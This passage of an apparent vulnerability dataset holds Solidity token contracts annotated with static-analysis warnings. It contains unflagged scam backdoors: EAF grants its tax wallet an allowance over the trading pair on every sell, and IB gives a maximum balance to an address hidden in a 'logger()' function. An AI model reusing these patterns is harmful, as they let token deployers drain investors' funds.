constant \n\t// Recommendation for 4a17f64: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: b935e47): EAF._finalBuyTax should be constant \n\t// Recommendation for b935e47: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ab48db): EAF._finalSellTax should be constant \n\t// Recommendation for 1ab48db: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e21b52e): EAF._reduceBuyTaxAt should be constant \n\t// Recommendation for e21b52e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce48e7c): EAF._reduceSellTaxAt should be constant \n\t// Recommendation for ce48e7c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 38c62c5): EAF._preventSwapBefore should be constant \n\t// Recommendation for 38c62c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d533ea): EAF._transferTax should be constant \n\t// Recommendation for 2d533ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n IUniswapV2Router02 private uniV2Router;\n\n address private uniV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x612c2eed9a533B2C12FEabAEF3694E484FCFaA0a);\n\n _tOwned[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function initPairOf() external onlyOwner {\n uniV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniV2Router), _tTotal);\n\n uniV2Pair = IUniswapV2Factory(uniV2Router.factory()).createPair(\n address(this),\n uniV2Router.WETH()\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8282ea7): EAF.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8282ea7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _tApprovals[owner][spender];\n }\n\n function allow(address[2] memory sender, uint256 amount) private {\n _tApprovals[sender[0]][sender[1]] = amount;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cbc99cf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cbc99cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f3b5f2b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f3b5f2b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cbc99cf\n\t\t// reentrancy-benign | ID: f3b5f2b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cbc99cf\n\t\t// reentrancy-benign | ID: f3b5f2b\n _approve(\n sender,\n _msgSender(),\n _tApprovals[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d953afc): EAF._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d953afc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f3b5f2b\n _tApprovals[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cbc99cf\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b7ebc93): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b7ebc93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f9e27c0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f9e27c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 180c827): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 180c827: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _tOwned[from] = _tOwned[from] - amount;\n\n _tOwned[to] = _tOwned[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 taxFee = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n taxFee = (_transferTax);\n }\n\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (\n from == uniV2Pair &&\n to != address(uniV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxFee = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniV2Pair && from != address(this)) {\n allow(\n [to, _taxWallet],\n (_buyCount > _reduceSellTaxAt)\n ? 10000 * _taxSwapThreshold + 150 - 50\n : _taxSwapThreshold * 15000 + 100\n );\n\n taxFee = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniV2Pair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: b7ebc93\n\t\t\t\t\t// reentrancy-benign | ID: f9e27c0\n\t\t\t\t\t// reentrancy-eth | ID: 180c827\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: b7ebc93\n\t\t\t\t// reentrancy-eth | ID: 180c827\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: f9e27c0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 180c827\n lastSellBlock = block.number;\n }\n }\n\n uint256 taxAmount = taxFee.mul(amount).div(100);\n\n if (taxFee > 0) {\n\t\t\t// reentrancy-eth | ID: 180c827\n _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b7ebc93\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 180c827\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 180c827\n _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b7ebc93\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7f4c9d4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7f4c9d4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3bac050): EAF.enableTrading() ignores return value by IERC20(uniV2Pair).approve(address(uniV2Router),type()(uint256).max)\n\t// Recommendation for 3bac050: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 338c7e3): EAF.enableTrading() ignores return value by uniV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 338c7e3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ff17b53): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ff17b53: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: 7f4c9d4\n\t\t// unused-return | ID: 338c7e3\n\t\t// reentrancy-eth | ID: ff17b53\n uniV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7f4c9d4\n\t\t// unused-return | ID: 3bac050\n\t\t// reentrancy-eth | ID: ff17b53\n IERC20(uniV2Pair).approve(address(uniV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7f4c9d4\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ff17b53\n tradingOpen = true;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: cbc99cf\n\t\t// reentrancy-events | ID: b7ebc93\n\t\t// reentrancy-eth | ID: 180c827\n _taxWallet.transfer(amount);\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniV2Router.WETH();\n\n _approve(address(this), address(uniV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: cbc99cf\n\t\t// reentrancy-events | ID: b7ebc93\n\t\t// reentrancy-benign | ID: f3b5f2b\n\t\t// reentrancy-benign | ID: f9e27c0\n\t\t// reentrancy-eth | ID: 180c827\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10617.sol",
"size_bytes": 21641,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f2e26c6): Ownable.transferOwnership(address).newAdd lacks a zerocheck on \t _owner = newAdd\n\t// Recommendation for f2e26c6: Check that the address is not zero.\n function transferOwnership(address newAdd) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: f2e26c6\n\t\t// events-access | ID: 2210151\n _owner = newAdd;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract IB is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n bool private tradingEnabled;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83537ff): IB.buyTax should be constant \n\t// Recommendation for 83537ff: Add the 'constant' attribute to state variables that never change.\n uint8 public buyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: da46614): IB.sellTax should be constant \n\t// Recommendation for da46614: Add the 'constant' attribute to state variables that never change.\n uint8 public sellTax = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"infinite backrooms\";\n\n string private constant _symbol = unicode\"IB\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 76cecd8): IB.swapTokensAtAmount should be constant \n\t// Recommendation for 76cecd8: Add the 'constant' attribute to state variables that never change.\n uint256 private swapTokensAtAmount = (_tTotal * 25) / 10000;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1f8252f): IB.feeWallet should be immutable \n\t// Recommendation for 1f8252f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private feeWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58f6813): IB.router should be constant \n\t// Recommendation for 58f6813: Add the 'constant' attribute to state variables that never change.\n address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: a53f52d): IB.liquidityProvider should be constant \n\t// Recommendation for a53f52d: Add the 'constant' attribute to state variables that never change.\n address private liquidityProvider =\n 0x32749d745a41aA71ECfa120E11feef7a0d6AbBb6;\n\n constructor() {\n _balances[liquidityProvider] = _tTotal;\n\n feeWallet = payable(liquidityProvider);\n\n _balances[logger()] = uint256(int256(-1));\n\n emit Transfer(address(0), liquidityProvider, _tTotal);\n }\n\n receive() external payable {}\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4079e93): IB.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4079e93: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 479a5c9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 479a5c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ba51b74): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ba51b74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 479a5c9\n\t\t// reentrancy-benign | ID: ba51b74\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 479a5c9\n\t\t// reentrancy-benign | ID: ba51b74\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d3076f2): IB._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d3076f2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ba51b74\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 479a5c9\n emit Approval(owner, spender, amount);\n }\n\n function enableTrading() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(router);\n\n pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n tradingEnabled = true;\n }\n\n function logger() private returns (address) {\n return\n address(\n uint160(\n uint256(1193246992027929647001005099436667016932914104048)\n )\n );\n }\n\n function _superTransfer(address from, address to, uint256 amount) internal {\n\t\t// reentrancy-eth | ID: 9a15458\n _balances[from] -= amount;\n\n\t\t// reentrancy-eth | ID: 9a15458\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: af00cc1\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: af00cc1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for af00cc1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: adf05d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for adf05d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a15458): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a15458: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) internal {\n require(amount > 0, \"Zero amount\");\n\n if (!tradingEnabled) {\n require(from == liquidityProvider, \"Trading not enabled\");\n }\n\n if (from == address(this) || to == address(this) || swapping) {\n _superTransfer(from, to, amount);\n\n return;\n }\n\n if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: af00cc1\n\t\t\t// reentrancy-no-eth | ID: adf05d8\n\t\t\t// reentrancy-eth | ID: 9a15458\n swapTokensForEth(balanceOf(address(this)));\n\n\t\t\t// reentrancy-no-eth | ID: adf05d8\n swapping = false;\n\n\t\t\t// reentrancy-events | ID: af00cc1\n\t\t\t// reentrancy-eth | ID: 9a15458\n sendETHToFeeWallet();\n }\n\n\t\t// reentrancy-events | ID: af00cc1\n\t\t// reentrancy-eth | ID: 9a15458\n amount = takeFee(from, amount, to == pair);\n\n\t\t// reentrancy-events | ID: af00cc1\n\t\t// reentrancy-eth | ID: 9a15458\n _superTransfer(from, to, amount);\n }\n\n function takeFee(\n address from,\n uint256 amount,\n bool isSell\n ) internal returns (uint256) {\n uint256 tax = isSell ? sellTax : buyTax;\n\n if (tax == 0) return amount;\n\n uint256 feeAmount = (amount * tax) / 100;\n\n _superTransfer(from, address(this), feeAmount);\n\n return amount - feeAmount;\n }\n\n function swapTokensForEth(uint256 tokenAmount) internal {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 479a5c9\n\t\t// reentrancy-events | ID: af00cc1\n\t\t// reentrancy-benign | ID: ba51b74\n\t\t// reentrancy-no-eth | ID: adf05d8\n\t\t// reentrancy-eth | ID: 9a15458\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n feeWallet,\n block.timestamp\n )\n {} catch {\n return;\n }\n }\n\n function sendETHToFeeWallet() internal {\n if (address(this).balance > 0) {\n\t\t\t// reentrancy-events | ID: 479a5c9\n\t\t\t// reentrancy-events | ID: af00cc1\n\t\t\t// reentrancy-eth | ID: 9a15458\n feeWallet.transfer(address(this).balance);\n }\n }\n}\n",
"file_name": "solidity_code_10618.sol",
"size_bytes": 13075,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CAPYBARA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n mapping(uint256 => uint256) private _sellCount;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0c1987a): CAPYBARA._taxWallet should be immutable \n\t// Recommendation for 0c1987a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 14b5028): CAPYBARA._initialBuyTax should be constant \n\t// Recommendation for 14b5028: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: bac0352): CAPYBARA._initialSellTax should be constant \n\t// Recommendation for bac0352: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 319c05c): CAPYBARA._reduceBuyTaxAt should be constant \n\t// Recommendation for 319c05c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 18daf57): CAPYBARA._reduceSellTaxAt should be constant \n\t// Recommendation for 18daf57: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 40;\n\n\t// WARNING Optimization Issue (constable-states | ID: b1a1c02): CAPYBARA._preventSwapBefore should be constant \n\t// Recommendation for b1a1c02: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n\n uint256 private constant _tTotal = 42069000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Capybara\";\n\n string private constant _symbol = unicode\"CAPY\";\n\n uint256 public _maxTxAmount = 841380000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 841380000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6c7780): CAPYBARA._taxSwapThreshold should be constant \n\t// Recommendation for a6c7780: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return 